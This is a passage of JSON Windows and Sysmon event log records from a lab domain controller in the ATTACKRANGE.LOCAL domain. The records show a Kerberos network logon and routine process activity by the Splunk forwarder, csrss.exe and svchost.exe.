ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x91EC4\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{C6068692-A3C1-B857-C0ED-E6884A747695}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51504\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x91ec4","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{C6068692-A3C1-B857-C0ED-E6884A747695}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51504","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6209,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.104\r\nSourceProcessGUID: {90617006-422A-5F2D-0000-00101E1D0900}\r\nSourceProcessId: 4604\r\nSourceThreadId: 2412\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.104","SourceProcessGUID":"{90617006-422A-5F2D-0000-00101E1D0900}","SourceProcessId":"4604","SourceThreadId":"2412","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6210,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.745\r\nProcessGuid: {90617006-422B-5F2D-0000-0010631F0900}\r\nProcessId: 4768\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.745","ProcessGuid":"{90617006-422B-5F2D-0000-0010631F0900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6211,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-422B-5F2D-0000-0010631F0900}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-422B-5F2D-0000-0010631F0900}","TargetProcessId":"4768","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6212,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422B-5F2D-0000-0010631F0900}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422B-5F2D-0000-0010631F0900}","TargetProcessId":"4768","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6213,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6214,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6215,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6216,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:39.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:39.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+5